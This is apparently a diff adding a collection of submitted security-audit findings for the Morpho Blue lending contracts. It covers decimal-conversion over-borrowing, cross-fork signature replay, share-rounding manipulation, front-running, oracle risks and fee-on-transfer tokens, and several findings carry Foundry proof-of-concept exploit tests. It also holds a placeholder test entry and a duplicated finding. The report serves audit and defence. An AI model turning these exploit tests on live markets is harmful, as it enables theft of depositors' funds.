+
+ changePrank(BORROWER);
+ ERC20Mock(collateralWeth).approve(address(morpho), 1e18);
+
+ morpho.supplyCollateral(marketParams, 1e18, BORROWER, "");
+
+ // 1 loan token should be equal to 1 collateral token
+ assertEq(oracle.price(), ORACLE_PRICE_SCALE);
+
+ // We have supplied 1 collateral token. Since its 18-decimals and the loan token is 6-decimals, we are now able to borrow ALL of the 1000 loan tokens.
+ // We should not be able to do this. The maximum that we can take with our collateral should be 90% of 1e6 loan tokens
+ morpho.borrow(marketParams, 1000e6, 0, BORROWER, BORROWER);
+ assertEq(ERC20Mock(loanUSDC).balanceOf(BORROWER) - loanBalanceBeforeExploit, loanAmount);
+ }
+```
+
+- Recommendation
+Wherever there is a conversion from a source token to target token, first multiply the result by 1e^targetDecimals, then divide it by 1e^sourceDecimals
+
+
+
+### test report11
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+123
+
+
+
+### Risk of reuse of signatures across forks due to lack of chainID validation
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+At construction, the Morpho contract computes the domain separator using the network’s chainID, which is fixed at the time of deployment. The Morpho contracts implement EIP 2612 to provide EIP 712-signed approvals through a setAuthorizationWithSig function. A domain separator and the chainID are included in the signature schema. However, this chainID is fixed at the time of deployment.
+
+```
+constructor(address newOwner) {
+ require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+ DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+```
+
+In the event of a post-deployment chain hard fork, the chainID cannot be updated, and
+signatures may be replayed across both versions of the chain. As a result, an attacker could
+reuse signatures to receive user funds on both chains. If a change in the chainID is
+detected, the domain separator can be cached and regenerated. Alternatively, instead of
+regenerating the entire domain separator, the chainID can be included in the schema of
+the signature passed to the setAuthorizationWithSig function.
+
+```
+ function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+ }
+```
+The signature schema does not account for the contract’s chain. If a fork of Ethereum is
+made after the contract’s creation, every signature will be usable in both forks.
+
+
+**Recommendation**:
+To prevent post-deployment forks from affecting signatures, add the chain ID
+opcode to the signature schema.
+
+
+
+### Risk of reuse of signatures across forks due to lack of chainID validation
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Description: At construction, the Morpho contract computes the domain separator using the network’s chainID, which is fixed at the time of deployment. The Morpho contracts implement EIP 2612 to provide EIP 712-signed approvals through a setAuthorizationWithSig function. A domain separator and the chainID are included in the signature schema. However, this chainID is fixed at the time of deployment.
+
+```
+constructor(address newOwner) {
+ require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+ DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+```
+In the event of a post-deployment chain hard fork, the chainID cannot be updated, and signatures may be replayed across both versions of the chain. As a result, an attacker could reuse signatures to receive user funds on both chains. If a change in the chainID is detected, the domain separator can be cached and regenerated. Alternatively, instead of regenerating the entire domain separator, the chainID can be included in the schema of the signature passed to the setAuthorizationWithSig function.
+
+ function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+ }
+The signatory schema does not account for the contract’s chain. If a fork of Ethereum is made after the contract’s creation, every signature will be usable in both forks.
+
+Recommendation: To prevent post-deployment forks from affecting signatures, add the chain ID opcode to the signature schema.
+
+
+
+### Bad debt definition is too restrictive _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+In the context of liquidations, the protocol proceeds to write off bad debt, that is defined as all the debt that a user has, backed by zero collateral:
+
+```Solidity
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ // ...
+```
+
+This definition is too restrictive, because anything else, say 1USD worth of collateral left to back a 10kUSD debt, would:
+- not be written off by the liquidation happening
+- be very likely kept delinquent, as repaying would be at a loss for the borrower (who would have already suffered the loss of their collateral during the liquidation)
+- keep compounding new debt
+- possibly not be liquidated by anyone in case the collateral is small enough
+- make the market insolvent, possibly passing under the radar
+
+Since markets are built to support partial liquidations, proper accounting should be applied to the operation, instead of relying on future liquidations to close the gap by following up with a full liquidation. In practice, the market can become severely insolvent in the long run if such debt starts to build up.
+
+**Recommendation**:
+Consider changing the "bad debt" definition to "all the debt that the user has, above the market LLTV", and writing off this amount during liquidations.
+
+An easy implementation of that is checking if the borrower is still insolvent after liquidation, and in this case, shave off the difference between their `borrowed` and their `maxBorrow` as calculated in the health check function.
+
+This would accurately reflect market health, and more importantly, leave the partially liquidated user in a barely healthy position that:
+- offers appropriate collateral incentives to liquidate if their debt is meaningful
+- is otherwise quantitatively harmless for the market's health in terms of debt before compounding
+
+
+
+### Any user can be liquidated due to malicious market with unreliable/upgradable oracles _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context**
+
+The createMarket function allows the addition of a market without any verification. Thus, the generation of the market id is based on:
+```
+ address loanToken;
+ address collateralToken;
+ address oracle;
+ address irm;
+ uint256 lltv;
+```
+This allows the opportunity to add an unreliable/upgradable oracle in a specific market.
+
+**Description**
+
+The contract permits the oracle to be upgraded or any type of oracle that provides a `price()` function. While this offers flexibility, it also introduces the risk of the oracle being manipulated to report inaccurate, specifically lowered, asset prices.
+
+**Impact**
+
+This vulnerability could lead to unjust liquidations, eroding trust in the market and causing significant financial losses for users.
+
+**Function Review: liquidate**
+```
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+```
+
+Observation: The liquidation logic is critically dependent on the oracle's price. An upgradable oracle creates a vector for market manipulation, particularly if the upgrade process is not adequately safeguarded.
+
+**Recommendations**
+
+**Oracle Whitelisting**: Establish a system for approving oracles based on rigorous vetting standards. Only oracles that pass these standards should be integrated into the market.
+
+**Smart Contract Safeguards**: Implement smart contract mechanisms that automatically detect significant deviations in oracle-reported prices and temporarily freeze market activities if anomalies are detected.
+
+**Oracle Data Cross-Verification**: Design smart contracts to cross-verify Oracle data with other reliable data sources or oracles before executing critical functions like liquidation.
+
+**Upgradeable Oracle with Time-Lock**: If users create a market with an upgradeable oracle, there must be a timelock in place so the Governance can vote or users can be notified about the change and have time to take action.
+
+
+
+
+
+### Potential DoS attack on borrower preventing full loan repayment _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L283-L283](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L283-L283)
+
+
+When repaying loan, the `borrowerShares` are reduced as follows `position[id][onBehalf].borrowShares -= shares.toUint128();`, meaning if the `shares` being repaid is higher than the `borrowShares` then it would lead to an underflow and the call would revert because the contract is using solidity version above `0.8`.
+
+The [repay](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L266) function allows anyone to repay loan `onbehalf` of the other because it allows the caller to declare the parameter `onBehalf` which would be the borrower. Now, in a scenario where an attacker would want to prevent the `borrower` from fully repaying their loan, they would simply frontrun the call to `repay` by the borrower by repaying the loan with only 1 shares which would ensure the borrower's call to repay always fails.
+
+Consider the following scenario:
+
+- Alice has borrowed 1000 tokens
+- Charlie the attacker wants to prevent Alice from repaying their full loan
+- Alice wants to repay their full loan amount and call repay with the full shares to clear her debt
+- Charlie front-runs this transaction and pays 1 share of Alice's loan ensuring Alice's transaction fails
+
+This would be devastating especially in highly volatile markets where the risk of liquidation would be higher.
+
+The contract should allow excess repayment of loan and return to the user excess repaid amount to prevent transaction failure.
+
+The contract should allow excess loan repayment as:
+```
+if (shares > position[id][onBehalf].borrowShares ){
+ uint excess = shares - position[id][onBehalf].borrowShares;
+
+}
+```
+
+Then calculate the asset representation of the shares and then resend that to the caller.
+
+
+
+### Bad Debt can be acrued because Full Liquidation might fail _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L380-L380](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L380-L380)
+
+**Description**:
+
+When an unhealthy position is liquidated, the `borrower` shares are reduced as `position[id][borrower].borrowShares -= repaidShares.toUint128();`, meaning for full liquidation the `repaidShares` has to match exactly `position[id][borrower].borrowShares ` and any shares higher than this reverts because there would be an underflow.
+
+Therefore, this encourages partial liquidation where the liquidator is sure their transaction would not fail especially if they are repaying with specific amount of `assets` instead of `shares`. Therefore, if the `borrowedShares` is reduced but not completely set to zero, the minuscule remaining amount might be left as bad debt especially if considering the gas the liquidator would use, plus the funds used to clear the debt it might not be worthy to liquidate the unhealthy position creating bad debt.
+
+The function should allow for liquidators to over-repay the loan to ensure bad debt is not accrued through small/dust amounts left in the contract through partial liquidations. The contract can allow excess liquidation by reducing `borrowShares` as:
+```
+if (repaidShares > position[id][borrower].borrowShares) {
+ uint excessAmount = repaidShares.toUint128() - position[id][borrower].borrowShares;
+ position[id][borrower].borrowShares = 0;
+}
+
+Then transfer the excess Amount back to the Liquidator
+
+
+
+
+### The first user will be able to mess up the inteire internal accounting _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [SharesMathLib.sol#L24-L24](morpho-org-morpho-blue-f463e40/src/libraries/SharesMathLib.sol#L24-L24)
+
+- Summary
+The first user in any market can mess up the entire internal accounting.
+
+- Proof of Concept
+Let's examine how shares should operate. When the first supplier [supplies](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194) to a market, their shares result from assets * 1e6 (this 1e6 is added to mitigate the ERC4626 first depositor bug). This is accomplished in [toSharesDown](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24-L26).
+
+```solidity
+function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ // 1e18 * (0 + 1e6) / 1 => 1e24 of shares --> assets * 1e6
+ return assets.mulDivDown(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+}
+```
+
+The same principle applies to borrowing when the first user [borrows](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232-L263) (borrowShares = borrowAssets * 1e6).
+
+However, perfect scenarios are not always the case, as some users may attempt to manipulate the pools. Here's how it can be done:
+
+Achieving a 1:1 assets to shares ratio is possible by simply [supplying](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L194) 1 share. Now [toAssetsUp](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L39-L41) will calculate that we own 1 asset, as it rounds up.
+
+```solidity
+function toAssetsUp(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ // 1 * (0 + 1) / (0 + 1e6) => 1
+ return shares.mulDivUp(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+}
+```
+
+This distortion can be amplified by repeating the process, as demonstrated in the PoC with a for loop executed 1000 times, resulting in a 1000:1000 shares to assets ratio. The next normal deposit will not have a 1e6:1 shares to assets ratio but rather 1e3:1, a thousand times smaller. This occurs because [toSharesDown](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L24-L26) performs the following calculation:
+
+```solidity
+function toSharesDown(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ // 1e18 * (1000 + 1e6) / (1000 + 1) => 1e21, where 1e18 of assets should return 1e24 of shares
+ return assets.mulDivDown(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+}
+```
+
+This manipulation is only half of the exploit.
+
+Similar manipulation can be applied to borrowing, where the user utilizes a for loop to borrow, this time not in a 1:1 ratio, but 999999 shares, which will equal 0 assets, as [toAssetsDown](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SharesMathLib.sol#L29-L31) rounds towards 0.
+
+```solidity
+function toAssetsDown(uint256 shares, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ // 999999 * (0 + 1) / (0 + 1e6) = 0
+ return shares.mulDivDown(totalAssets + VIRTUAL_ASSETS, totalShares + VIRTUAL_SHARES);
+}
+```
+
+Following this manipulation, if a normal borrow is executed, the borrowed shares amount will skyrocket. For example, if we borrow just 1e18 of the asset:
+
+```solidity
+function toSharesUp(uint256 assets, uint256 totalAssets, uint256 totalShares) internal pure returns (uint256) {
+ // 100e18 * (999999000 + 1e6) / (0 + 1) = 1.000999e27, where 1e18 of borrowed asset should be 1e24 shares
+ return assets.mulDivUp(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS);
+}
+```
+
+This process removes 3 decimals of precision from `supplyShares` and adds 3 to `borrowShares` (+ extra precision :D).
+
+- Impact
+This bug creates chaos in internal accounting and causes several issues:
+- Integrating platforms can be manipulated by simply manipulating the shares.
+- Users are unable to repay their entire balance as the shares are messed up (see `test_crackRepay` in the PoC).
+- There is a complete mess in internal accounting.
+- Unexpected behavior.
+
+- PoC
+Gist: https://gist.github.com/0x3b33/41f506eecf8b419ba4c6555a4db5d2f8
+
+Place this contract in `morpho-blue/test/name.sol` and run the tests!
+
+- Recommended Solution
+The best way to fix this is either to disallow such small positions (which also addresses other issues like bad debt due to excessively small positions) or to "spawn" some ghost liquidity so the first depositor won't be able to manipulate the market.
+
+
+
+### One supplier might steal funds from another due to the interaction of interests and bad debt.
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+I show one scenario that one supplier (lender) can effectively steal funds from another due to the interaction of interests and bad debt. This is different from my other report where I showed a strategy to stop the bad debt from taking its consequence. Here, we do not stop the bad debt, but a user might take advantage of it.
+
+Vulnerabilities: both interests and bad debts will be shared by all suppliers (lenders), the problem is that interests, debts, and lending funds are all accounted in one variable: totalSupplyAssets. What is more, when interests are accrued, they have not been paid yet by the borrower, and in case of bad debt, such interests will be reversed by bad debt. However, some supplier can take advantage of it and withdraw unpaid interests with funds from other suppliers. The remaining suppliers can only cry over such bad debt while the early withdrawer laughs all the way to to bank.
+
+In the following POC, I show the following:
+
+User1 supplied 100e18 loanTokens, victimSupplier supplied 130e18 loanTokens:
+
+```javascript
+ after user1 and victimSupplier supply:
+ loanToken balance of morpho: 230000000000000000000
+ total supply shares: 230000000000000000000000000
+ total supply assets: 230000000000000000000
+ supply shares for user1: 100000000000000000000000000
+ total borrow shares for morpho: 0
+ total borrow shares for user2: 0
+```
+
+User2 borrowed 100e18 loanTokens with 1000e18 collateral tokens:
+
+```javascript
+ after user2 borrow :
+ loanToken balance of morpho: 130000000000000000000
+ total supply shares: 230000000000000000000000000
+ total supply assets: 230000000000000000000
+ supply shares for user1: 100000000000000000000000000
+ supply shares for victimSupplier: 130000000000000000000000000
+ total borrow shares for morpho: 100000000000000000000000000
+ total borrow shares for user2: 100000000000000000000000000
+```
+
+After one year, interests are accrued, but they are not paid actually, so the balance of the Morpho remains the same:
+
+```javascript
+ After one year's accrue of interest..
+ loanToken balance of morpho: 130000000000000000000
+ total supply shares: 230000000000000000000000000
+ total supply assets: 284299882190679185100
+ supply shares for user1: 100000000000000000000000000
+ supply shares for victimSupplier: 130000000000000000000000000
+ total borrow shares for morpho: 100000000000000000000000000
+ total borrow shares for user2: 100000000000000000000000000
+```
+
+The price of collateral Token becomes 1, leading to possible liquidation of user2, however, user1 front-run and withdrew. Note that user1 actually got the interests using the funds provided by the victimSupplier since user2 has not paid any interests so far. User1 got 123.6e18, gaining interests of 23.6e18 - which actually becomes bad debt later. But that is not user1' problem.
+
+```javascipt
+ After user1 withdraw...
+ loanToken balance of morpho: 6391355569269919522
+ total supply shares: 130000000000000000000000000
+ total supply assets: 160691237759949104622
+ supply shares for user1: 0
+ supply shares for victimSupplier: 130000000000000000000000000
+ total borrow shares for morpho: 100000000000000000000000000
+ total borrow shares for user2: 10000000000000000000000000
+```
+
+User's position is liquidated:
+
+```javascript
+ After liquidation
+ loanToken balance of morpho: 6391355569269919523
+ total supply shares: 130000000000000000000000000
+ total supply assets: 6391355569269919523
+ supply shares for user1: 0
+ supply shares for victimSupplier: 130000000000000000000000000
+ total borrow shares for morpho: 0
+ total borrow shares for user2: 0
+```
+
+Now VictimSupplier withdrew, only got around 6.4e18, he lost 123.6e18.
+
+```javascript
+After withdraw of victimSupplier
+ loanToken balance of morpho: 0
+ total supply shares: 0
+ total supply assets: 0
+ supply shares for user1: 0
+ supply shares for victimSupplier: 0
+ total borrow shares for morpho: 0
+ total borrow shares for user2: 0
+ VictimSupplier only receives: 6391355569269919523
+```
+
+In summary, while user1 supplies 100e18 and victimSupplier supplies 130e18 - the former gains 23.6e18 interests, while the later loses 123.6e18 due to bad debt, all within seconds due to the current design of interests and bad debt allocation. Here is the testing code in Foundry:
+
+```javascript
+
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "../../lib/forge-std/src/Test.sol";
+import "../../lib/forge-std/src/console.sol";
+
+import {IMorpho} from "../../src/interfaces/IMorpho.sol";
+import "../../src/interfaces/IMorphoCallbacks.sol";
+import {IrmMock} from "../../src/mocks/IrmMock.sol";
+import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
+import {OracleMock} from "../../src/mocks/OracleMock.sol";
+
+import "../../src/Morpho.sol";
+import {Math} from "./helpers/Math.sol";
+import {SigUtils} from "./helpers/SigUtils.sol";
+import {ArrayLib} from "./helpers/ArrayLib.sol";
+import {MorphoLib} from "../../src/libraries/periphery/MorphoLib.sol";
+import {MorphoBalancesLib} from "../../src/libraries/periphery/MorphoBalancesLib.sol";
+import "./BaseTest.sol";
+// import {SafeTransferLib} from ".../../src/libraries/SafeTransferLib.sol";
+
+
+
+contract MyTest is BaseTest {
+ address user1 = makeAddr("user1");
+ address user2 = makeAddr("user2");
+ address victimSupplier = makeAddr("victimSupplier");
+ address user1proxy = makeAddr("user1Proxy");
+ address borrower1 = makeAddr("borrower1");
+
+
+ using MarketParamsLib for MarketParams;
+ using MorphoLib for IMorpho;
+ using SafeTransferLib for IERC20;
+
+
+ function setUp() public override {
+ super.setUp();
+
+ marketParams = MarketParams(address(loanToken), address(collateralToken), address(oracle), address(irm), DEFAULT_TEST_LLTV);
+ id = marketParams.id();
+
+ testCreateMarket(); // a market is created.
+
+ }
+
+ function testBaddebt() public{
+ // user1 lend the funds
+ vm.startPrank(user1);
+ loanToken.setBalance(user1, 100e18);
+ loanToken.approve(address(morpho), 100e18);
+ bytes memory d;
+ morpho.supply(marketParams, 100e18, 0, user1, d); // supply 1000e18 loanTokens
+ vm.stopPrank();
+
+ vm.startPrank(victimSupplier);
+ loanToken.setBalance(victimSupplier, 130e18);
+ loanToken.approve(address(morpho), 130e18);
+ morpho.supply(marketParams, 130e18, 0, victimSupplier, d); // supply 1000e18 loanTokens
+ vm.stopPrank();
+
+
+ console2.log("\n after user1 and victimSupplier supply: ");
+ console2.log("loanToken balance of morpho: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+
+ console2.log("supply shares for user1: %d", morpho.supplyShares(id, user1));
+ console2.log("total borrow shares for morpho: %d", morpho.totalBorrowShares(id));
+ console2.log("total borrow shares for user2: %d", morpho.borrowShares(id, user2));
+
+
+ // user2 borrow the funds 100e18 - 1
+ vm.startPrank(user2);
+ collateralToken.setBalance(user2, 1000e18);
+ collateralToken.approve(address(morpho), 1000e18);
+ morpho.supplyCollateral(marketParams, 1000e18, user2, d);
+ morpho.borrow(marketParams, 100e18, 0, user2, user2);
+ vm.stopPrank();
+
+
+ console2.log("\n after user2 borrow : ");
+ console2.log("loanToken balance of morpho: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+
+ console2.log("supply shares for user1: %d", morpho.supplyShares(id, user1));
+ console2.log("supply shares for victimSupplier: %d", morpho.supplyShares(id, victimSupplier));
+ console2.log("total borrow shares for morpho: %d", morpho.totalBorrowShares(id));
+ console2.log("total borrow shares for user2: %d", morpho.borrowShares(id, user2));
+
+ vm.warp(block.timestamp + 365 days); //after one year
+ morpho.accrueInterest(marketParams);
+
+ console2.log("\n After one year's accrue of interest..");
+ console2.log("loanToken balance of morpho: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+
+ console2.log("supply shares for user1: %d", morpho.supplyShares(id, user1));
+ console2.log("supply shares for victimSupplier: %d", morpho.supplyShares(id, victimSupplier));
+ console2.log("total borrow shares for morpho: %d", morpho.totalBorrowShares(id));
+ console2.log("total borrow shares for user2: %d", morpho.borrowShares(id, user2));
+
+ // user 1 withdraw
+ oracle.setPrice(1);
+ // before liqudation, user1 front-run liquidation and withdraw all shares. enjoy the interests
+ vm.startPrank(user1);
+ morpho.withdraw(marketParams, 0, morpho.supplyShares(id, user1), user1, user1);
+ vm.stopPrank();
+
+ console2.log("\n After user1 withdraw...");
+ console2.log("loanToken balance of morpho: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+
+ console2.log("supply shares for user1: %d", morpho.supplyShares(id, user1));
+ console2.log("supply shares for victimSupplier: %d", morpho.supplyShares(id, victimSupplier));
+ console2.log("total borrow shares for morpho: %d", morpho.totalBorrowShares(id));
+ console2.log("total borrow shares for user2: %d", morpho.borrowShares(id, user2));
+
+ // liquidate
+ loanToken.setBalance(address(this), 1e18);
+ loanToken.approve(address(morpho), 1e18);
+ morpho.liquidate(marketParams, user2, 1000e18, 0, d);
+
+ console2.log("\n After liquidation ");
+ console2.log("loanToken balance of morpho: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+
+ console2.log("supply shares for user1: %d", morpho.supplyShares(id, user1));
+ console2.log("supply shares for victimSupplier: %d", morpho.supplyShares(id, victimSupplier));
+ console2.log("total borrow shares for morpho: %d", morpho.totalBorrowShares(id));
+ console2.log("total borrow shares for user2: %d", morpho.borrowShares(id, user2));
+
+ // victimSupply withdraw but with little funds
+ vm.startPrank(victimSupplier);
+ morpho.withdraw(marketParams, 0, morpho.supplyShares(id, victimSupplier), victimSupplier, victimSupplier);
+ vm.stopPrank();
+ console2.log("\n After withdraw of victimSupplier ");
+ console2.log("loanToken balance of morpho: %d", loanToken.balanceOf(address(morpho)));
+ console2.log("total supply shares: %d", morpho.totalSupplyShares(id));
+ console2.log("total supply assets: %d", morpho.totalSupplyAssets(id));
+
+ console2.log("supply shares for user1: %d", morpho.supplyShares(id, user1));
+ console2.log("supply shares for victimSupplier: %d", morpho.supplyShares(id, victimSupplier));
+ console2.log("total borrow shares for morpho: %d", morpho.totalBorrowShares(id));
+ console2.log("total borrow shares for user2: %d", morpho.borrowShares(id, user2));
+ console2.log("VictimSupplier only receives: %d", loanToken.balanceOf(victimSupplier));
+ }
+}
+
+
+ function testCreateMarket() public{
+ vm.startPrank(OWNER);
+ if (!morpho.isLltvEnabled(DEFAULT_TEST_LLTV)) morpho.enableLltv(DEFAULT_TEST_LLTV);
+ if (morpho.lastUpdate(id) == 0) morpho.createMarket(marketParams);
+ vm.stopPrank();
+
+ _forward(1);
+
+ console2.logBytes32(Id.unwrap(id));
+ }
+```
+
+**Recommendation**:
+I don't have a good solution for this problem yet, but here is a few thoughts:
+
+1) Maintain the interests separately, and only allow a lender to withdraw interests when they have been paid; I think allowing withdrawal of interests that have not been paid might be a problem here.
+
+2) The bad debt should be cancelled maybe inside the accrueInterests function gradually so that we don't encounter the situation of a sudden bad debt introduction, which raises a bank run panic.
+
+3) There is inconsistency between the balance of loanToken in Morpho and totalSupplyAssets, the former is always smaller than the later most of the time. One might also introduce so minimum reserve, so that withdrawal will not use the funds in the reserve.
+
+4) In summary, principal, interests, bad debt deserves a separate storage variable and needs more research to account for them well.
+
+
+
+### Broken or Manipulated Oracles Lead to Unfair Liquidations _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Morpho-Blue requires markets to be set up with an Oracle and IOracle that simply returns the price of a token. It is noted that "It is the user's responsibility to select markets with safe oracles." However there is always a possibility that in the future safe oracles become unsafe. If an Oracle becomes unsafe there are no safety precautions in place to protect users funds from being liquidated.
+
+**Summary**:
+Consider the case where an Oracle is broken or manipulated and always returns 0.
+
+The `liquidate()` function uses the Oracle to fetch the price of the collateral token and does a health check using this price. If the Oracle is broken or manipulated and returns a false value users will be liquidatable even if they have the appropriate amount of funds to be in a healthy position based on the true price of the collateral token.
+
+In this scenario users would also not be allowed to borrow or withdraw collateral.
+
+**Recommendation**:
+To mitigate this risk Morpho could add in a circuit breaker functionality that halts executing on the contract or certain functions in cases of extreme volatility or malicious attacks. Another possibility is to give users the option to have a backup Oracle assigned to markets that is used in cases where the original Oracle is broken or manipulated.
+
+Based on the set up and ethos that Morpho is trying to capture I believe the best recommendation for mitigating this Oracle risk factor is to establish an acceptable Oracle price deviation for each market. Cache or store the last price the Oracle returns, when the Oracle is called again compare the new price to the last price and allow the new price to be used if it is within the acceptable range.
+
+
+
+
+### Protocol work incorrectly with fee on transfer tokens _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Problems has functions:
+1) flashLoan
+2) liquidate
+3) supplyCollateral
+4) repay
+5) supply
+
+Protocol works incorrectly with fee on transfer tokens. (for example USDT). Protocol's balance after transferFrom operations might be less than intended.
+
+
+Let's consider USDT implementation: https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code
+
+```solidity
+ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
+ ...
+ uint fee = (_value.mul(basisPointsRate)).div(10000);
+ if (fee > maximumFee) {
+ fee = maximumFee;
+ }
+ uint sendAmount = _value.sub(fee);
+ balances[_from] = balances[_from].sub(_value);
+ balances[_to] = balances[_to].add(sendAmount);
+ if (fee > 0) {
+ balances[owner] = balances[owner].add(fee);
+ Transfer(_from, owner, fee);
+ }
+ Transfer(_from, _to, sendAmount);
+ }
+```
+
+Here is `transferFrom` implementation. As you can notice -- recipient may receive less token than intended (due to internal fees).
+
+
+Now lets consider `Morpho#flashLoan` function:
+
+```solidity
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+
+Here we at the first transfer funds to user, then calling callback function and after that just transfer funds back. This behavior incorrect:
+
+1) `Morpho` has 100 USDT, USDT's fee is 1$;
+2) User calls flashloan and requests 100 USDT;
+3) `Morpho` sends 100 USDT to user, (but user actually receive 99 USDT);
+4) Callback called;
+5) `Morpho` calls transferFrom 100USDT from user, **but receive 99 USDT due to internal fees**.
+
+After such operations:
+1) Protocol will lost money;
+2) Protocol will stuck on small volumes due to impossibly to transfer funds back to owners.
+
+
+**Recommendation**:
+
+User uniswap v3 like pattern: https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L813-L814
+
